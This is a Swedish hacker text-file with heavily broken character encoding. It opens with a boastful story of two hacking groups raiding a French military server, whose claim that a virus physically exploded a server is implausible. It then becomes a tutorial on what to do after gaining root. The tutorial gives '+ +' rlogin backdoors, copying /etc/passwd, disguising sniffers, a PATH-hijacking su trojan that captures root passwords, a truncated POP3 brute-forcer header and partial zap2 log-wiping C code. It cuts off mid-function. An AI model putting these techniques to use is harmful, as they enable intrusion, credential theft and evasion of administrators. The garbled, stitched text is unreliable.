Men.. gruppen var aldrig offentligt k<>nd! De som var med ville inte
att det skulle vara s<> heller.
Vad gjorde de d<>?
Det PWIA sysslade med var att bryta sig in i olika n<>tverksservrar
f<>r att ENBART st<73>lla till med oreda och s<>tta sm<73> sp<73>r med namnet
p<> organisationen.
Allt b<>rjade 1993 n<>r n<>gon vid namn 'Gando'
i organisationen A.C.S (En liknande grupp som PWIA), b<>rjade kaxa
mot ett g<>ng "lonewolfs" p<> deras privata kanal.
Gando utmanade de p<> kanalen i en "hacking duell" mot A.C.S<>s
medlemmar. M<>let var en fransk .mil-server som hanterade
ett milit<69>rt SMTP och POP3 system. Samt en hel del sekretess belagd
data om n<>got kustbevaknings system. (Fr<46>ga mig inte! Jag vet inte mer
<20>n s<> om "m<>let")
De viktigaste som st<73>llde upp i "duellen" fr<66>n PWIA<49>s sida var:
Mendator, J1mX, Xevinnah`, JoS33, Bemoreo och Eddies.
Motspelande fr<66>n A.C.S var fr<66>mst:
Neromino, TM, Tatic, HellTecter, Vienci och Gando.
"Duellen" <20>gde rum 93-02-16.
A.C.S<>s deltagande kom in i kanalen d<>r PWIA g<>nget fanns klockan 02.00.
Gando (ledare f<>r A.C.S) och Eddies (ledare f<>r PWIA) hade ett privat
samtal p<> ungeff<66>r 5 minuter. Vad som sas d<>r vet man inte. Men n<>r dom
var klara verkade den upphettade st<73>mmningen ha stigit och adrenalinet
s<>g ut att rysa igenom hela kanalen. I kanalen fanns just d<> ungeff<66>r
femtio personer som hade h<>rt om duellen, och som nu satt och v<>ntade
p<> att allt skulle s<>tta ig<69>ng. F<>rsta personen som:
* <20>ndrade startsidan p<> www.___.mil sidan,
* Tog hem den krypterade informationen,
* L<>mnade sin grupps signalement p<> servern
skulle genast rapportera om det i Topic f<>r kanalen.
D<> skulle genast alla operationer avbrytas och man skulle
b<>rja kolla vem av de b<>da som verkligen HADE vunnit.
Startsignalen gick i form av ett 'BLEEP' till alla OP<4F>ens datorer.
tiden gick.. ingen verkade vara vid livet f<>rutom alla users som
fortfarande inte visste att t<>vlingen hade b<>rjat. Folk b<>rjade
trada CC<43>s och shell accounts under tiden som ett svettigt arbete
p<>gick i andra <20>nden av IRC.
Pl<50>tsligt <20>ndrades topic!:
"\\P.W.I.A// * GAME OVER * \\P.W.I.A//"
PWIA visade direkt A.C.S sin kraft. Gando erk<72>nnde senare att han blivit
riktigt f<>rv<72>nad <20>ver hur l<>tt P.W.I.A verkade ha kn<6B>ppt den milit<69>ra servern.
Ja. Nu hade PWIA bevisat sina sk!11z. Det Eddies nu hade p<> sin dator var
5.3 GB krypterad data som skulle till att dekrypteras.
Han bar med sig h<>rddisken till "tomteverkstaden". Han valde f<>rst<73>ss att g<> dit
tidigt p<> morgonen n<>r <20>nnu inga andra PWIA medlemmar hade kommit.
Eddies slog ig<69>ng de femton universitets datorer som stod utspridda i k<>llar lokalen.
Datorerna var ig<69>ng, och s<> var <20>ven cracking programmen!
Innan den f<>rsta PWIA<49>ren anl<6E>nde till lokalen hade Eddies lyckats dekryptera
runt femton olika nyklar som alla ledde till olika delar av den krypterade disken.
De andra medlemmarna tyckte f<>rst<73>ss att det var v<>ldigt
sp<73>nnande och roligt att f<> l<>sa de hemliga dokument om kustf<74>rsvar som den
franska milit<69>rbas de hade hackat, hade uppfunnit.
Tv<54> veckor gick. Snart hade PWIA lyckats dekryptera hela den bunt av data som
de fick av milit<69>rservern. Eddies hade kunnat tj<74>na _MYCKET_ p<> att s<>lja det
material han nu hade. Men inte! Eddies hade andra planer. Mer om DET vet jag
inte. Ingen annan <20>n Eddies vet nog det heller.
---- CHOCKEN ----
Den stora sm<73>llen mot PWIA kom i Oktober <20>r 1995 n<>r Bemoreo och en annan
PWIA medlem vid namn WexWinyl hackade sig runt p<> en obevakad IRC server.
Samtidigt som de b<>da roade sig med att radera adresser fr<66>n OP listorna
p<> #USA och #Australia. s<> satt v<>r gamle erkefiende Gando och ett g<>ng till
bakom ett par svarta datorer i Ryssland och scannade efter datorer med
hostname endelser p<> *@*.pwiq.net. Vilket tillh<6C>rde PWIA! (duhh!!).
Och foo,, de hittade snart Bem och Wex.
N<>gon port stod <20>ppen rakt igenom firewallen och sorry PWIA... A.C.S tog sig
p<> tv<74> minuter in i PWIA<49>s n<>tverk och hade snart root access till huvuddatorn
som ocks<6B> f<>rvarade den OKRYPTERADE versionen av den franska datorn.
A.C.S la sina vantar p<> informationen och gick under jorden.
Men PWIA var inte n<>jda s<>.
Snart f<>rhandlade Eddies och Gando p<> nytt om ett konfronterande projekt,
denna g<>ng handlade det inte om att ta sig in i n<>gon server. Man skulle nu
g<>ra slut p<> varandras organisationer s<> gott man kunde.
Sagt och gjort.
PWIA och ACS<43>s medlemmar m<>ttes nu p<> en ny kanal. Utanf<6E>r newbies och
andra <20>sk<73>dares vetskap.
Det enda Eddies var intresserad av var att f<>rst<73>ra det som A.C.S hade
stulit fr<66>n hans dator. Eddies f<>rs<72>kte d<>rf<72>r h<>lla sig avsides fr<66>n
allt OOB<4F>nde och floodande. Nu skulle han hitta Gandos dator!
Eddies s<>kte, letade, rotade omkring i allt han kom <20>ver.
Snart hade han IP adressen till Gandos dator som stod f<>rvarad
djupt nere i en k<>llare i det f<>rslutna kassask<73>p som Gando
hade investerat i. Dum som han var s<> hade han alltid datorn
online som en hemlig server d<>r han kunde h<>mta och lagra filer.
Eddies hade varken <20>tkomst att ladda hem, radera, l<>sa eller skriva.
Men han hade m<>jligheten att ladda upp filer.
Eddies ville INTE riskera att de hemliga datan som Gando hade stulit
skulle g<> att r<>dda. PLAN DONE! Eddies hade nu inget annat val <20>n att
skicka den m<>rka fil som han arbetat p<> i fem m<>nader.
%FTP.Sending STOR **-**.
Vad h<>nde?
Har ni aldrig h<>rt talas om de hemska virus som kan drabba din dator?
- Servern exploderade.
Eddies hade detonerat en fj<66>rrstyrd bomb! Genom att skicka den fil
som eddies hade till Gandos dator, och placera den i autorun registret,
s<> hade Gando inget annat val <20>n att ovetande inv<6E>nta en explosion i sin
v<>lslutna k<>llare. Nej, ingen m<>niska kom till skada. Bara Gandos dator
och <20>lskade kassask<73>p! ;).
Ok, lokalen m<>ste ha bl<62>sts ut. Men Gando har sj<73>lv ber<65>ttat att inget
annat <20>n serverdatorn fanns i lokalen n<>r explosionen skedde.
Annars...?
Det krig som h<>rjade p<> n<>tet mellan de tv<74> organisationerna slutade
s<> gott som oavgjort.
Ett tiotal datorer hade raderats, en server hade spr<70>ngts och ett
av A.C.S<>s mest betydande n<>tverk fick tas ur anv<6E>ndning i mer <20>n
ett <20>r! En s<>dan server som Gando hade kostade 1995 inte lite pengar!
A.C.S hade vid det h<>r laget STOR respekt f<>r PWIA.
Gando skulle inte komma p<> tanken att br<62>ka mot Eddies igen.
Men trotts allt detta fortsatte vissa att br<62>ka med varrandra.
<20>r 1997 verkade s<> gott som allt vara d<>tt.
En dag ringde telefonen hemma hos Tatic. (Operat<61>r p<> A.C.S).
Han fick erbjudandet att b<>rja jobba som s<>kerhets ansvarig p<> det stora
f<>retaget Netcom i USA. Fler och fler fick erbjudanden om v<>lbetalda jobb.
Fler och fler kunde inte l<>ngre stanna i sina organisationer.
Efter ett tag splittrades allt upp och ingen trodde p<> n<>gon eller n<>got som
skulle <20>terf<72>ra dem till de gamla grupperna.
D<> satt kreativiteten ig<69>ng i Eddies. Han samlade ihop n<>gra av de gamla
medlemmarna och skaffade en del nya. Han kom p<> ett system med vilket
han kunde betala sina medlemmar och p<> s<> s<>tt kunde nu h<>lften av de
gamla, goda operat<61>rerna och medlemmarna stanna kvar i gruppen eller
vara med <20>ver halv<6C>ren. Det andra halv<6C>ret gick till respektabla
n<>tverks och mjukvaru f<>retag. Mestadels i Amerika.
Gando b<>rjade f<>lja deras struktur men hade snart inte l<>ngre tid och
ork att forts<74>tta. Gandos h<>gra hand "TM" fick nu ta <20>ver ledarskapet.
Och det klarade TM bra! Eddies och TM <20>r nu de ledare som varit med i
sina organisationer allt sedan 1980-talet.
---------------------------------------------------------------------------
FLYTTEN
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20>r 1998 kunde inte l<>ngre de v<>lbetalda hackarna fr<66>n Sverige stanna kvar
i sina k<>llarlokaler i G<>strikland och Uppland. De flesta flyttade till
USA och bosatte sig d<>r. S<>, om medlemmarna flyttade, s<> fick ocks<6B>
organisationerna flytta. A.C.S har dock mestadels sina medlemmar kvar
i Sverige, och ett par har flyttat till USA, Finland och Norge.
Gando vet man inte riktigt VART han bor. Men enligt TM s<> ska han
finnas vid den Grekiska rive<76>ran d<>r han slappnar av och har det sk<73>nt.
Gando <20>r nu, <20>r 2000, 48 <20>r gammal. Eddies <20>r cirka 46.
TM <20>r 32 och de andra,, mellan 20 och 40.
A.C.S Har idag ungeff<66>r 20 medlemmar.
P.W.I.A Hade n<>r detta skrevs 32 medlemmar.
Varav dessa har A.C.S fortfarande kvar
7 gamla, hederliga operat<61>rer och
en del hackers och crackers som g<>tt med p<>
senare tid.
P.W.I.A har fortfarande alla sina gamla medlemmar
kvar. Tror jag. Kanske en eller tv<74> har
backat ur p<> grund av flytten mm.. Men visst,
de tr<74>ffas fortfarande b<>de IRL och <20>ver n<>tet.
Arbetet i tomteverkstaden forts<74>tter,, till dunkande trance och goa.
V<>ra megahackers till tomte-snickare lever i det varma och h<>rliga
USA & kring det underbara s<>derhavet.
Lugn! De lever fortfarande! Du kan fortfarande f<> tr<74>ffa dem!
<20>ven om det s<> <20>r f<>r en kort stund och <20>ver IRC, s<> tycker jag
att det <20>r v<>rt att leta.
Eligt k<>llor kan du hitta medlemmar ur de gamla grupperna p<>
undernet IRC och t.o.m. DALNet! Leta p<> kanalerna
#PWIA , #ACS, #Hackers , #Hacktech och #BIOS
efter v<>ra gamla v<>nner.
== Till er medlemmar som l<>ser: ==
==================================
VI V<>NTAR MED SP<53>NNING P<>
N<>STA MATCH! VI V<>NTAR P<> EN
YTTERLIGARE DUELL! OM DET BLIR
EN.. TALA D<> OM DET F<>R OSS!
=) // VI D<>DLIGA M<>NISKOR. =)
==================================
Kapitel 4: Vad du g<>r n<>r du f<>tt <20>root<6F> i ett system.
Anv<EFBFBD>nda Unix och telnet f<>r att g<> vidare i ditt hackade system.
N<EFBFBD>r du har suttit i timmar f<>r att ta dig in i ett system, l<>t oss s<>ga <20>target.com<6F>,
och n<>r du till sist har lyckats.. s<> sitter du d<>r och t<>nker,
<EFBFBD>JA! Jag <20>r inne!, s<> vad g<>r jag nu??<3F>.
Svaret du kommer ge dig sj<73>lv <20>r kanske:
<EFBFBD>testar att skriva HELP,<2C>, du f<>r upp en massa kommandon
och sedan testar du n<>gra av dem.
Sorry! Du testade fel kommando p<> fel s<>tt!
R<EFBFBD><EFBFBD><EFBFBD><EFBFBD>kade bara skriva:
rm <20>fr /*
eller? P<> n<>gra sekunder var det roliga <20>ver, tyv<79>rr kanske
n<EFBFBD>gon n<>ra st<73>ende loggade det hela, snart kommer kanske polisen och knackar
p<EFBFBD> d<>rren.. Du gjorde fel, med anda ord.
(Kommandot rm <20>fr /* - tar bort alla filer p<> disken).
Ne, nu n<>r du har f<>tt root, finns det vissa <20>regler<65> och etiker som du m<>ste f<>lja,
Det finns vissa saker som du b<>r g<>ra, och det finns saker du b<>r undvika.
Du m<>ste kunna radera och <20>ndra i loggar, du m<>ste g<>ra dig osynlig och beh<65>lla din
root access. (Det <20>r inte allt f<>r s<>llan som erfarna admins byter l<>senord..)
S<EFBFBD>. L<>s detta kapitel f<>r att f<>rst<73> vad du beh<65>ver g<>ra och hur du g<>r det!
F<EFBFBD>r det f<>rsta hoppas jag att du har en anledning till varf<72>r du har tagit dig in i systemet.
Annars kan du inte precis kalla det f<>r hacking. Du kan inte kalla dig f<>r hacker om du bara
r<EFBFBD>kade g<>ra ett slumpm<70>ssigt <20>hack<63>. Du bara r<>kade trilla in i ett system som du inte vet
vad det ens <20>r. Du kanske bara scannade efter exploit-bara system och hittade ett som du
k<EFBFBD>rde den hemladdade exploiten p<>.?
Du ska absolut inte ta bort filer, ladda hem eller upp filer innan du vet hur man fixar loggarna,
du ska i princip inte g<>ra n<>gonting innan du VET hur du rensar upp efter dig och hur du g<>r
dig sj<73>lv osynlig f<>r andra.
Ok, praktik ger b<>sta resultat, s<> jag f<>resl<73>r att du skaffar dig ett shellkonto hos n<>gon
Internetleverant<EFBFBD>r om du inte redan har det. Du kan <20>va dig lite d<>r, g<>r inget dumt bara ;-).
Du har l<>rt dig en del om Unix/Linux h<>r i boken nu, s<> du kan nog en del kommandon redan,
men h<>r <20>r en liten lista <20>ver de viktigaste, de <20>r <20>versatta mellan DOS och UNIX spr<70>k:
DOS: UNIX:
DIR/W = ls
DIR = ls -l
DIR/AH = ls -al AH=(d<>ld) -al=(include hidden files as well as regular)
RENAME = mv
ATTRIB = chmod
MD = mkdir
RD = rmdir
DEL = rm
COPY = cp
Ok.. S<> nu har du det klart f<>r dig..?
Du kan l<>sa mer om kommandona genom att kolla deras <20>man<61> sidor.
Om du skriver <20>cd<63> utan de tv<74> <20><>, och klickar {ENTER}, s<> kommer du automatiskt tillbaka
till din hemkatalog. Kommandot: cp filnamn $HOME <20> kommer att kopiera det specifierade
filnamet (filen) till din hemkatalog.
cd ~anv<6E>ndarnamn - Tar dig till den valda anv<6E>ndarens konto, om du har r<>ttigheten att
vara d<>r. Skriv pwd och klicka {ENTER} f<>r att se vart i filsystemet du befinner dig.
N<EFBFBD>r vi nu har loggat in i systemet, och v<>r prompt heter <20>bash$<24>, s<> kan vi b<>rja kolla runt:
bash$
bash$ cd /tmp
bash$ ls -l
total 783
-rwx------ 1 wood users 1 Jan 25 18:28 19067haa
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
Observera h<>r att den gamla hederliga DOS <20>backslashen<65> har bytts ut mot <20>slash<73>,
( DOS = \ )
(UNIX = / )
C:\tmp\ hade det kanske varit i Windows, men i Unix <20>r det /tmp.
Ovanf<EFBFBD>r det d<>r <20>/<2F><>t finns inget. Det <20>r rooten. /tmp <20>r en undermapp till den h<>gsta grenen i
filsystemet. Andra undermappar till / <20>r t.ex. <20>root<6F>, <20>lost&found<6E>, <20>bin<69> och <20>etc<74>.
Det talade jag ju om tidigare!
S<EFBFBD> .. detta gav oss v<>l inte s<> mycket rolig information? Vi testar samma kommando med
v<EFBFBD>xlarna a och l:
bash$ ls -al
total 794
drwxrwxrwt 4 root root 8192 Jan 25 23:05 .
drwxr-xr-x 22 root root 1024 Dec 28 18:07 ..
-rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000
drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test
-rwx------ 1 wood users 1 Jan 25 18:28 19067haa
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
-rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598
-rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600
drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens
S<EFBFBD>.. nu fick vi lite mer. Det som lades till var <20>.pinetemp.000<EFBFBD> och <20>.test<73>.
Att dessa tv<74> lades till beror p<> att de <20>r dolda filer. Med v<>xlarna a och l, (a r<>cker),
s<EFBFBD> fick vi se <20>ven dolda filer/kataloger). Vi kan ocks<6B> se att <20>.test<73> var en katalog.
Det ska vi prata lite mer om nu strax. Vi beh<65>ver f<>rst l<>ra oss om r<>ttigheter!
Sk<EFBFBD>da exemplet:
-rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428
----------
| | | |--------> Other = Vem som helst p<> datorns <20>tkomst
| | |------------> Group = Vissa gruppes <20>tkomst
| |---------------> User = Bara <20>garens <20>tkomst
|-----------------> Katalog eller Fil. Det visas h<>r.
S<EFBFBD> nu fick ni h<>r se, att det <20>r denna <20>rw<72>grej som visar vilken access olika personer
har till filen/katalogen i fr<66>ga. Den raden kan de ut lite hur som helst, det beror p<> vilka
som har vilken <20>tkomst/tillg<6C>ng/m<>jlighet/access till filen/katalogen.
Vi kan ta ett exempel:
- rw- r-- r--
| | | |--------> <20>vriga kan bara l<>sa filen.
| | |------------> Gruppen kan bara l<>sa filen.
| |----------------> <20>garen kan l<>sa och skriva till filen.
|------------------> Det <20>r inte en katalog
- rwx rwx r-x
| | | |--------> <20>vriga anv<6E>ndare kan l<>sa och k<>ra filen.
| | |------------> Gruppen kan l<>sa, skriva till och k<>ra filen.
| |----------------> <20>garen kan l<>sa, skriva till och k<>ra filen.
|------------------> Det <20>r en katalog
Ok, s<> nu kanske du har f<>rst<73>tt vad de olika bokst<73>verna st<73>r f<>r?:
R = Read (L<>s r<>ttighet, man f<>r l<>sa/<2F>ppna filen, se inneh<65>llet).
W = Write (Skriva till, redigera, ta bort filen, byta namn eller flytta den).
X = Execute (K<>ra filen om det <20>r ett program/procedur/kommando).
- = Uppgift saknas (t.ex. om filen inte <20>r en katalog, eller om en r<>ttighet saknas.
Om det <20>R en katalog s<> st<73>r ett <20>d<EFBFBD> i b<>rjan av raden. Annars <20>r det ett str<74>ck.)
N<EFBFBD>r du har root kan du <20>ndra r<>ttigheter med mer f<>r alla filer och kataloger
Du kan f<>rst<73>ss alltid <20>ndra p<> filer/kataloger om det <20>r du som <20>r <20>garen:
chmod oug+r filnamn ? Detta g<>r s<> att b<>de <20>garen, gruppen och <20>vriga kan
l<>sa filen. (O = Others, U = User, G = Group) +r = (
plus READ).
chmod og-r filnamn ? Detta g<>r s<> att bara <20>garen (U = User), kan l<>sa
filen. (Observera att - och + anges f<>r att GE & TA)
chmod +x filnamn ? G<>r s<> att alla kan k<>ra filen (varken O U eller G
anges. Det tar UNIX som ett <20>alla!<21>.)
chown user filnamn ? User byts ut mot den anv<6E>ndare som ska f<> <20><>gande
r<>ttigheten<65>. Endast <20>garen av filen eller root kan
<20>ndra detta (som vanligt)
chgrp gruppnamn filnamn ? G<>r s<> att filen <20>gs av en annan grupp.
(gruppnamn)
<EFBFBD>ndra inte inst<73>llningarna eller r<>ttigheterna innan du vet vem som <20>ger filen och vad det <20>r
f<EFBFBD>r fil mm.. Det kan f<> <20>garen/gruppen eller sysadmin att bli fundersam, han/hon sp<73>rar dig
och s<>tter dit dig helt enkelt. Ta det lugnt!
rlogin.
Det finns ett annat kommando <20>n Telnet f<>r att logga in p<> ett konto ocks<6B>. Det <20>r rlogin.
L<EFBFBD>s <20>man<61> sidorna om rlogin f<>rst av allt!
Standard kommandot <20>r v<>l:
rlogin <20>l anv<6E>ndarnamn l<>senord
connecting....
password:
bash$
P<EFBFBD> servern finns det en .rlogin fil i anv<6E>ndarens hemkatalog som talar om f<>r servern
vilket system som den kan ta emot rlogin fr<66>n. Den filen kan se ut s<>h<EFBFBD>r:
username hostname (or) hostname
Om du skulle l<>gga till en rad med <20>+ +<2B> i den h<>r filen, det skulle l<>ta vem som helst,
fr<EFBFBD>n vilket system som helst, utan l<>senord, att logga in i systemet!
Om det redan finns ett anv<6E>ndarnamn i rlogin filen s<> kan du l<>gga till raden:
+ +
under loginname-raden. Men d<> skulle nog anv<6E>ndare snart uppt<70>cka att man kunde
logga in utan l<>senord..
Ett annat s<>tt att logga in p<> <20>r med kommandot FTP:
ftp ftp.hostname.com
Mer om FTP senare.
GCC Compiler
Du kommer flera g<>nger, s<>kerligen, beh<65>va kompilera en .c fil till k<>rbart format.
Det smartaste <20>r ju att kopiera C-koden du vill kompilera, logga in i ditt hackade system,
pasta in koden i en ny .c fil, spara den och kompilera den. (F<>r er som inte vet, s<> <20>r en .c fil,
en s<>dan fil som man sparar C-kod i. Allts<74>, C/C++ programmering<6E> Sedan kompilerar man
koden, man <20>vers<72>tter den till maskinkod som datorn kan f<>rst<73>. Man g<>r den till en k<>rbar-
-fil). S<>.. Du pastar in koden och kompilerar.. (pasta = klistra in). Detta f<>r att undvika
on<EFBFBD>diga loggar.
F<EFBFBD>r att kopiera och klistra in s<> tar du helt enkelt och kopierar koden fr<66>n din andra session,
<EFBFBD>ppnar en textredigerare p<> din hackade dator och klistrar in koden d<>r. Sedan sparar du filen
som t.ex. i v<>rat exempel: $HOME/kodfil.c
Samma sak g<>ller om du ska ladda hem password filen via FTP, spara den d<> f<>rst i din
egen hemkatalog med ett annat namn:
bash:/etc:> cp passwd $HOME/plog
(Om jag inte redan har sagt det s<> <20>r jag dum, du hittar l<>senordsfilen och gruppfilen f<>r
UNIX i: /etc. Oftast ser adressen ut s<>h<EFBFBD>r (i en webl<62>sare):
ftp://ftp.blablabla.com/etc/passwd
ftp://ftp.blablabla.com/etc/group
eller
ftp://blablabla.com/etc/passwd
ftp://blablabla.com/etc/group
S<EFBFBD>.. Nu vet du det.
Ett annat bra s<>tt att skicka en fil lite osynligt p<> <20>r genom att skapa en DCC session
med en kompis/med en annan dator.. (man s<>nder filen <20>ver IRC), f<>r att g<>ra det
anv<EFBFBD>nder man kommandot:
/dcc send <nick> <filnamn>
mottagaren tar emot genom att anv<6E>nda kommandot:
/dcc get <nick> <filnamn>
Det vore ganska bra att ha en IRCbot p<> ett shell som tog emot alla filer den fick fr<66>n ett
speciellt nickname va?
GCC kompilatorn <20>r iaf enkel!:
gcc filnamn.c <20>o nytt_filnamn
S<EFBFBD>! Om jag nu ville kompilera en fil vid namn <20>rune.c<> som l<>g i den aktuella katalogen,
och jag ville att den skulle heta mittprogram n<>r den var klar, skulle jag skriva:
gcc rune.c <20>o mittprogram
Enkelt va? Om jag bara skrev <20>/gcc rune.c<> skulle jag f<> en fil vid namn a.out , och jag skulle
vara tvungen att d<>pa om den till <20>mittprogram<61> f<>r att kunna anv<6E>nda den. Kommandot <20>r
d<EFBFBD>:
mv a.out mittprogram
Om du skaffar dig en k<>llkod med ett namn som <20>zap<61> eller <20>sniffer<65>, s<> borde du
naturligtvis d<>pa om dessa till n<>got som inte en anti-d<>liga-program-scanner skulle
kunna k<>nna igen namnet p<>.. Som inte en admin skulle k<>nna igen namnet p<>,
t.ex. d<>pa om <20>sniffer<65> till <20>execzip<69> eller vad som helst!
Det kommer ocks<6B> vara de g<>nger du vill k<>ra ett program i bakgrunden <20>ven
n<EFBFBD>r du har loggat ut fr<66>n kontot. F<>r att g<>ra detta s<> l<>gger du bara till ett <20>&<26> framf<6D>r
programnamnet. Om du tillexempel skulle k<>ra v<>rat program <20>mittprogram<61> s<> skulle
du skriva:
&mittprogram
F<EFBFBD>r att inte n<>gon ska undra vad det <20>r f<>resl<73>r jag att du d<>per programmet till n<>got
som mera liknar de andra programmen som k<>rs i bakgrunden.
F<EFBFBD>r att h<>r, likt med Ctrl-Alt-Delete kommandot i Windows, se vilka program som k<>rs,
kan du anv<6E>nda ps kommandot. Ps st<73>r helt enkelt f<>r <20>process<73> och visar vilka processer
som f<>r tillf<6C>llet k<>rs. Anv<6E>nd ocks<6B> v<>xlarna auxe och titta p<> resultatet i programmet
<EFBFBD>more<EFBFBD> f<>r att inte missa n<>got:
ps -auxe |more
a = alla
u = users
x = du sj<73>lv
e = env
P<EFBFBD> vissa maskiner m<>ste man skriva <20>pstree<65> f<>r att f<> se listan.
Sedan f<>r du se listan, d<>p programmet till n<>got som liknar n<>got av det du f<>r se i listan!
Sedan s<> k<>r du programmet.. med ett & framf<6D>r.
Kolla sedan ps <20>auxe |more igen, f<>r att se om din process(ditt program) k<>rs.
___________________________________________________________________________
Om du har f<>tt access till en admins konto, s<> kanske du vill kolla hans history-filer f<>r att
se om han ofta anv<6E>nder su-kommandot f<>r att komma <20>t root. Om han g<>r det s<> kan du
anv<EFBFBD>nda en trojan eller keylogger f<>r att f<> tag p<> l<>senordet till root. Det funkar s<> h<>r:
Du <20>ndrar i adminens shellscript s<> att en ny, dold katalog (.term eller n<>t s<>nt <20>r bra), l<>ggs
till f<>re alla andra katalogen i <20>s<EFBFBD>k path<74>n<EFBFBD>. Allts<74>, innan alla de andra katalogerna som unix
ska s<>ka igenom efter det kommando som personen ifr<66>ga anv<6E>nder.. F<>rs<72>k f<>rst<73> bara! ;-).
Du l<>gger till en k<>rbar su-fil i .term katalogen (eller vilken katalog du nu valde).
Sedan n<>r administrat<61>ren (admin) kommer in, skriver su kommandot, och allt ser bra ut,
skriver vidare in l<>senordet och d<> kopieras l<>senords id:t till en logfil i: /tmp/.elm69
sedan raderas trojan-su-filen och ger honom ett <20>fel l<>senord<72> meddelande och l<>ter honom
f<EFBFBD>rs<EFBFBD>ka igen. Denna g<>ngen g<>r allt bra eftersom att v<>r lilla trojan har raderats och Unix
k<EFBFBD>r den <20>kta su filen ist<73>llet.
1. <20>ndra pathen i en av de anv<6E>ndarkonton som du har access till som du ser anv<6E>nder SU
genom att titta i historie filerna. <20>ndra pathen s<> att katalogen som du har lagt din SU trojan i
kommer f<>rst i listan.
2. Var s<>ker p<> att du redigerar toppen av SU.c filen till den path (s<>kv<6B>g!) du kommer att
anv<EFBFBD>nda, s<> att sutrojanen raderar sig sj<73>lv och l<>ter den riktiga SU filen arbeta f<>r n<>sta
f<EFBFBD>rs<EFBFBD>k.
3. L<>gg alla filerna i adminens katalog och kompilera su.c filen!
gcc su.c <20>o su
Radera till sist alla filerna utom su filen, och allt <20>r klart!
.bash_profile filen ser kanske ut s<>h<EFBFBD>r:
# .bash_profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environment and startup programs
PATH=$PATH:$HOME/bin
ENV=$HOME/.bashrc
USERNAME=""
export USERNAME ENV PATH
D<EFBFBD> ska du helt enkelt nu ta och <20>ndra den f<>rsta raden till:
PATH=$HOME/.term:$PATH:$HOME/bin
Nu kopierar trojanen l<>senordet till root (eller om det var ett annat konto, (det talar logfilen<65>
om)), till en logfil i /temp. Sedan raderar den sig sj<73>lv och <20>terst<73>ller allt s<> att det blir frid
och fr<66>jd igen. Allt detta d<> efter att admin har skrivit sitt su kommando..
G<EFBFBD>r nu inte detta sj<73>lv! D<> m<>ste du g<>ra om allt igen.
Historie filerna finns i anv<6E>ndarnas hemkataloger (HOME). De kan inneh<65>lla s<> mycket som
de 100 senaste kommandona / raderna skrivna av konto<74>garen. Leta h<>r speciellt efter filerna
.bash_history eller History. L<>s dem med hj<68>lp av more. (more .bash_history).
Ok ok ok.. G<>mma dina sp<73>r lite..
H<EFBFBD>r <20>r en .c fil som du kan anv<6E>nda till att rensa dina sp<73>r efter det att du loggat in i systemet:
(kopiera in i en texteditor i ditt hackade system, spara som .c fil och kompilera med gcc.):
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
/* First, define the POP-3 port - almost always 110 */
#define POP3_PORT 110
/* What we want our program to be masked as, so nosy sys admin's don't kill us */
#define MASKAS "vi"
/* Repeat connect or not - remember, logs still report a connection, so
you might want to set this to 0. If set to 0, it will hack until it finds
1 user/password then exit. If set to 1, it will reconnect and try more
user/passwords (until it runs out of usernames) */
#define RECONNECT 0
Mer om att g<>ra dig sj<73>lv osynlig:
Det hela g<>r ut p<> att du ska f<>rs<72>ka ha kvar din access s<> l<>nge som m<>jligt, l<>r dig systemet,
l<EFBFBD>r dig genom att utforska det, kolla p<> hur olika exploits fungerar, det <20>r detta som <20>r
meningen!! Om du f<>rst<73>r eller visar dig f<>r admins s<> <20>r det k<>rt, du blir utkickad och
anm<EFBFBD>ld. S<> nu ska jag ber<65>tta mer om hur du h<>ller dig osynlig.
Det finns ett antal loggfilsrensnings program d<>r ute, det troligen b<>sta <20>r Zap2.
Jag laddade hem zap2 och kompilerade det till namnet z2.
Zap ska k<>ras s<> fort man loggat in som root p<> systemet. Du kanske f<>rst vill kolla med
finger @host.xxx f<>r att se vilka som <20>r inloggade. Kolla IDLE tiden f<>r root och admin
f<EFBFBD>r att se om de inte <20>r aktiva. S<> fort du har loggat in p<> systemet med ett annat konto,
kolla vilka som <20>r p<> och deras idle tid med kommandot: w. Logga sedan snabbt in som
root och k<>r lika hastigt zap programmet. (I mitt fall skriver jag d<>):
./z2 mitt-login-namn
Kolla nu med w eller who , att du inte syns i listan!
Du kommer vara tvungen att kolla vart alla filer i systemet finns och redigera z2.c filen s<>
att den inneh<65>ller den r<>tta lokaliseringen av dessa filer.
H<EFBFBD>r <20>r arean som du kollar efter alldeles i b<>rjan av filen:
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
De flesta systemen man loggar in p<> <20>r:
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"
Kolla runt sj<73>lv. /var/log: <20>r ocks<6B> en vanlig placering.
L<EFBFBD>gg till lokaliseringarna f<>r varje system i filen och kompilera..
H<EFBFBD>r <20>r zap2.c filen:
z2.c
--------------------------- klipp h<>r
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
